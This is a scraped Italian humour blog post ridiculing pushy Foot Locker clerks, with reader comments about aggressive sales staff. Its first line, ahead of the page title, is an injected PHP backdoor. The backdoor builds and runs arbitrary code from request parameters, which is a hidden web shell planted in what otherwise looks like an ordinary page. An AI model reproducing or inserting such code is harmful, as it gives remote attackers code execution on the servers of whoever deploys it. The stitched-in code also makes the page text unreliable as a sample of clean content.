if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['d37f062be323b6a488879b979d14843a']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Buoni motivi per risparmiare | Confessioni di Una Mente Dubbiosa

Buoni motivi per risparmiare

Ma apriamo adesso un nuovo esaltante capitolo: i commessi del Foot Locker.
Per lavorare in un posto del genere devi avere dei requisiti fondamentali: prima di tutto l’essere un gggiovane che si comporta da gggiovane; secondo, devi essere di natura spigliato e socievole; terzo, questa tua natura devi tramutarla fino a diventare una grandissima rottura di palle.
Devi fare in modo che il cliente dapprima ti veda come un cordiale, informale e gggiovane commesso, poi far sì che desideri la tua morte imminente possibilmente lenta e dolorosa in modo da poter puntare il dito contro di te e ridere contemporaneamente, gioiendo dell’accaduto.
Ma immaginiamo questo concetto come un grafico: in cima abbiamo questa prerogativa del macinapalle, una costante dal quale si diramano due possibili iter dipendenti da fattori più grandi te, e cioè il tuo genere, uomo o donna.
Essere donna – sopratutto sola, quindi in minoranza – ed entrare in un negozio Foot Locker, magari anche deserto, in modo che i settantaquattro commessi assunti in due metri per due di locale si fiondino tutti su di te, è come sapere di dover morire dentro e non fare niente per impedirlo.
Innanzitutto, appunto, parliamo di un negozio di pochi metri quadrati con dentro almeno sette o otto commessi. Va bene che c’è sempre bisogno di lavoro in più e non fa mai male, ma questo mi sembra uno sfruttamento della manodopera sprecato, potrebbero benissimo sbottalare nelle conce o trasportare sacchi di cemento, qualcosa di socialmente più utile e intellettualmente gratificante.
Senza contare che tutte quelle righe mandano un po’ in confusione, in una giornata d’agosto, sotto i quaranta gradi di Milano quando lo smog ormai si è impadronito del tuoi polmoni intasandoti di fumo nero il cervello, si possono facilmente scambiare per un branco di zebre e fuggire nel panico urlando.
Quindi, dicevamo, tu sei donna: a meno che tu non sia alta un metro e una Vigorsol (e quelle normali, manco quelle azzurre) e larga quando la Salerno-Reggio Calabria, con una coltivazione di acne sul volto culminanti in una dentatura putrefatta, sei automaticamente una preda, un obiettivo.
Sei scopabile, in parole comprensibili a tutti (il che porta ad un’altra considerazione: non sentirsi gratificate da eventuali commenti o sguardi dei commessi Foot Locker: basta che respiri, altrimenti è necrofilia).
Dunque entri, ti guardi intorno e come ogni essere umano desideri essere lasciato in pace per il solito assunto “commesso, se ho bisogno ti chiamo io, nel mentre stai nel tuo angolino a contare scontrini”, ma ecco che vedi due delle sette zebre venirti incontro con degli intro degni di un lemure di Madagascar:
- Ciao ragazza (uhm, perspicace)
- Ciao bella/bellezza
- Ciao tipa
- Ciao principessa
- Ciao bella, hai bisogno di me *faccia da sornione*?
No, microcefalo vestito da arbitro, voglio solo dare un’occhiata alle scarpe in santa pace, che se non ci fosse un altro luogo così fornito col cazzo che sarei qui.
Ma continuano a non capire e il tuo palese rifiuto per qualsiasi tipo di interazione, anche solo telepatica, viene visto come una sfida, anche da tutti gli altri, chiamati dal diretto interessato con degli ultrasuoni non udibili da noi umani; ti accerchiano, cominciano con le battute da scuole medie, le risatine e le occhiate tra di loro.
Allora tu di conseguenza speri in due tipi diversi di scenario (altre due frecce che si diramano): che tu riesca ad andartene senza che loro oppongano resistenza oppure che facciano il loro ingresso altre donne, o uomini, o pinguini, o arcobaleni parlanti, qualsiasi cosa che distolga la loro attenzione può andar bene.
Se sei uomo, invece, si sentono il diritto di comportarsi come se fossero vostri amici da sempre: sei pelato? Ha-, posso specchiarmici. Sei basso? Ha-, sei un nano. Sei rosso? Ha-, sei un semaforo. Sei grasso? Ha-, per te ci vogliono scarpe resistenti. Sei magrino? Ha-, attento che una folata di vento non ti porti via.
E via di pacche sulle spalle, riferimenti ad eventuali ragazze, battutine di intesa che il più delle volte muoiono per aria come foglie d’autunno, non rimbalzano nemmeno, cadono per terra, sbam, nel silenzio, mentre i grilli cantano e i soliti covoni di sterpi rotolano dietro di te.
Ma non dimentichiamoci che son pur sempre commessi, quindi il loro obiettivo finale è vendere, vendere qualsiasi cosa; se tu entri per comprare, anzi no, solo guardare un paio di scarpe, è probabile uscire poco dopo con tre maglie, due paia di scarpe, una felpa e un lucidante per scarpe di pelle.
E’ probabile anche che, se ti vedono come uno con le mani perforate, siano in grado di venderti anche i loro reni e, perché no, tutto il negozio. “Senti con queste scarpe, solo per oggi, solo per questo minuto e a metà prezzo, ti diamo anche tutto il palazzo. Bella zio“.

Morale della favola, vorrei fare una dichiarazione pubblica, sperando che arrivi a chi di dovere:
1. cercate di trovare un confine tra cortesia e invadenza/maleducazione
2. cercate di assumere uomini che possono sfogarsi con ragazze proprie, senza sputare i loro ormoni su chiunque
3. a tal proposito, non sarebbe male assumere un paio di donne a negozio
4. se proprio devono sputare ormoni, che almeno abbiano le doti per farlo, non che quattro su cinque siano affascinanti come dei caciottari
5. nel frattempo, cercate di non alimentare la catena, andate in altri negozi, altre marche sportive, scrivete a Giovanni Muciaccia perché faccia vedere ad Art Attack come farsi delle scarpe di iuta, qualsiasi cosa vi venga in mente, tutto fa brodo per boicottare

14 Responses to “Buoni motivi per risparmiare”

  1. alesstar scrive:

    il problema di foot locker è essenzialmente uno. pagano a provvigione.
    quei poveri disgraziati rompipalle macinamaroni che ti ritrovi addosso prima ancora di mettere piede in negozio (a termini devi anche evitare di passarci davanti per non essere trascinato a forza dentro il locale) vengono pagati secondo quanto vendono e secondo chi fa la vendita.
    è per questo che su nessuna scarpa, nessuna maglietta, nessun cappellino troverai mai l’etichetta del prezzo.
    devi chiedere.
    chiamare il commesso e chiedere. e se prendi le scarpe da tennis cercheranno di convincerti che hai bisogno di una racchetta, se prendi quelle da basket che hai bisogno di un pallone, se prendi un costume che hai bisogno dell’accappatoio.

  2. Nephie scrive:

    Questo post mi rincuora. yes
    Pensavo di essere io molto strana ad inibirmi ad entrare da sola da FootLoker. Invece vedo che il fatto di sentirmi osservata non devo coglierlo come il primo sintomo di una eventuale schizofrenia.
    ;-)

  3. Andrea scrive:

    A bologna ho il forte sospetto che il colloquio tipo per l’assunzione sia “Sei cretino? SI? SEI ASSUNTO”.
    Ecco, prima di leggere questo post mi sentivo prevenuta, m’hai tolto un peso dal cuore… yes

  4. KAN scrive:

    ecco, la spuma lucida scarpe e’ un classico.
    non sai quante bombolette ne ho a casa: ho persino un armadio dedicato. yes
    (pero’ me l’hanno rifilate tutte da TreEsse, da FootLocker ci saro’ entrato una volta in vita mia.)

    @aless:
    per me, se prendi il costume, cercano di convincerti che hai bisogno della piscina.
    o almeno… io farei cosi’. lol

  5. holly scrive:

    Mai entrata in un negozio Foot Locker.
    Ho vinto qualche cosa???

  6. MonicaGellerB scrive:

    alesstar, strano, dove sono andata io c’erano i prezzi pure sulle porte e sul pavimento. Il fatto è che, appunto, appena entri vieni presa d’assalto e non puoi dare un’occhiata in santa pace che ti arrivano addosso pronti a svuotarti il portafoglio.

    KAN, io ho visto che hanno un “nuovo prodotto”, INNOVATISSIMO: un lucidante in crema per scarpe di pelle. Non fai in tempo a prenderne in mano una per vedere com’è che subito ti si piazzano davanti co’ sto barattolino.
    Ma piuttosto le pulisco con lo sputo.

  7. MonicaGellerB scrive:

    holly, la pace dei sensi.

  8. LUCIANO scrive:

    Hai fatto un quadro della situazione perfetto. Non so come sia la situazione nella tua citta’. Io sono milanese ed e’ proprio come hai descritto tu. Ed e’ soprattutto il motivo principale per il quale ordino le scarpe sportive su internet. Ciao

  9. KAN scrive:

    @Monica:
    io invece ci casco sempre con tutti e due i piedi…
    “bella zio, vediamo che scarpe hai preso… noo! per me le Etnies bianche cosi’ sono davvero le scarpe piu’ belle che abbiamo in negozio! guarda, per solo sei euro ti do questa spuma segreta, la uso anche io sulle mie.”
    e io, che do alle scarpe nuove lo stesso valore che gli da’ paolo nutini, lo guardo con tutta la mia gratitudine per questo super-prodotto e accetto. no

  10. ilari scrive:

    anche le commesse di Bottega verde sono molto insistenti, lì fanno spesso sconti consistenti e quindi io ne approfitto per fare scorte. e loro ogni volta attaccano “se prendi un altro prodotto hai il 30%, con altri 2 il 50%…”

  11. Mbee scrive:

    Anche qui a Roma sono così insistenti!!!

    Per quanto riguarda i/le commessi/e delle profumerie varie (tipo bottega verde, appunto) io butto lì la scusa di essere lì solo per una commissione, essendo allergica a millemila cose. Se insistono e propongono i prodotti ipoallergenici (ed ipercostosi) affermo di non avere altri dio all’infuori del mio dermatologo. Di solito desistono.

  12. MonicaGellerB scrive:

    Vedo che i commessi Foot Locker sono così dovunque. Devono avere un preciso target per le assunzioni, mi congratulo con chi di dovere per la stringente coerenza.

    Per le commesse di profumerie e affini ho già sprecato fiato, ma non è mai abbastanza. Quelle di Bottega Verde in particolare, mi pare di aver già affrontato l’argomento ed è uno dei motivi principali per cui le commesse di corso Buenos Aires non mi vedono da un po’.
    Conoscendo il genere immagino una navicella madre con un grosso computer che monitorizza tutti gli acquisti di noi povere disgraziate con la tessera Bottega Verde e il mio nome che lampeggia di rosso.
    “Oh no, non fa acquisti da mesi, urge uno sconto del 99% su qualsiasi prodotto!*”

    (tra quelli nel magazzino, posti in file pari, alterne, e solo prodotti con etichette di colore blu)(e solo se saltelli mentre entri nel negozio)(altrimenti ciccia)

  13. Spinoza scrive:

    Credo di non esser mai entrato da FL. Ogni volta che passo di fronte a quello di via Indipendenza a Bologna mi faccio una bella risata per via dei costumi terribili da arbitro di football americano. Ci manca solo il fischietto.

  14. Fra89 scrive:

    nn sapete cm vi sbagliate..il colloquio in quel negozio dura quasi un ora devono capire se tu sei uno che pu rompere le balle..ti pagano una misera percentuale per ogni prodotto ke vendi e per di piu la concorrenza tra i colleghi è assai presente e noiosa….nn tutti si trovano dentro al foot locker..sia da cliente..e anche da dipedente.. =(

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